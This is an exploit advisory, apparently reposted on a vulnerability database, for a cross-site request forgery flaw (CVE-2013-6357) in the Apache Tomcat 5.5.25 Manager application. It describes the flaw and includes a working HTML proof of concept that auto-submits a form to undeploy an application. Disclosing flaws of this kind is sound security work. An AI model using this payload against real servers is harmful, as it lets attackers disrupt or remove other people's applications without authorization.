Apache Tomcat 5.5.25 - CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apache Tomcat 5.5.25 CSRF Vulnerabilities. CSRF vulnerability in Apache Tomcat allows malicious activities: stop, undeploy, deploy applications

Reporter	Title	Published	Views	Family All 17
0day.today	Apache Tomcat 5.5.25 CSRF Vulnerabilities	4 Nov 201300:00	–	zdt
IBM Security Bulletins	Security Bulletin: TADDM affected by multiple vulnerabilities due to Apache Tomcat libraries	26 Mar 202503:33	–	ibm
CVE	CVE-2013-6357	13 Nov 201315:00	–	cve
Cvelist	CVE-2013-6357	13 Nov 201315:00	–	cvelist
Exploit DB	Apache Tomcat 5.5.25 - Cross-Site Request Forgery	4 Nov 201300:00	–	exploitdb
exploitpack	Apache Tomcat 5.5.25 - Cross-Site Request Forgery	4 Nov 201300:00	–	exploitpack
NVD	CVE-2013-6357	13 Nov 201315:55	–	nvd
OpenVAS	Apache Tomcat <= 5.5.25 CSRF Vulnerability - Linux	18 Mar 202100:00	–	openvas
OpenVAS	Apache Tomcat <= 5.5.25 CSRF Vulnerability - Windows	18 Mar 202100:00	–	openvas
Packet Storm	Apache Tomcat 5.5.25 Cross Site Request Forgery	4 Nov 201300:00	–	packetstorm


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# Exploit Title     :  Apache Tomcat 5.5.25 CSRF Vulnerabilities
# Date              :  10-24-2013
# Author            :  Ivano Binetti (http://ivanobinetti.com)
# Author            :  Gianmarco Pirozzi (http://www.linkedin.com/pub/gianmarco-pirozzi/63/80b/2a5)
# Vendor site       :  http://tomcat.apache.org/
# Version           :  Apache Tomcat 5.5.25 and below (other versions could be affected)
# Tested on         :  Apache Tomcat 5.5.25
# Original Advisory :  http://www.webapp-security.com/2013/11/apache-tomcat-5-5-25-deployundeploystartstop-applications/
# CVE-ID            :  CVE-2013-6357
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Summary

1)Introduction
2)Vulnerability Description
3)Exploit
 3.1 Undeploy Applications
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1) Introduction
Apache Tomcat is an open source software implementation of the Java Servlet and JavaServer Pages technologies. 
The Java Servlet and JavaServer Pages specifications are developed under the Java Community Process.

2) Vulnerability Description
Apache Tomcat 5.5.25 and below (other versions could be affected) is prone to a CSRF vulnerability affecting the Manager application
(which is the component utilized to start/stop/deploy/undeploy applications) in order to perform the following malicious activities:

- stop an existing application
- undeploy an existing application
- deploy a new application

In this Advisory I will only demonstate how to automatically undeploy an existing application.

3) Exploit 
 3.1 Undeploy Applications
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;H2&#62;CSRF Exploit to Undeploy an Application&#60;/H2&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;tomcat_ip&#62;:&#60;tomcat_tcp/port&#62;/manager/html/undeploy?path=/&#60;name_of_application_to_undeploy&#62;&#34;&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;
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01 Jul 2014 00:00Current

8High risk

Vulners AI Score8

EPSS0.00996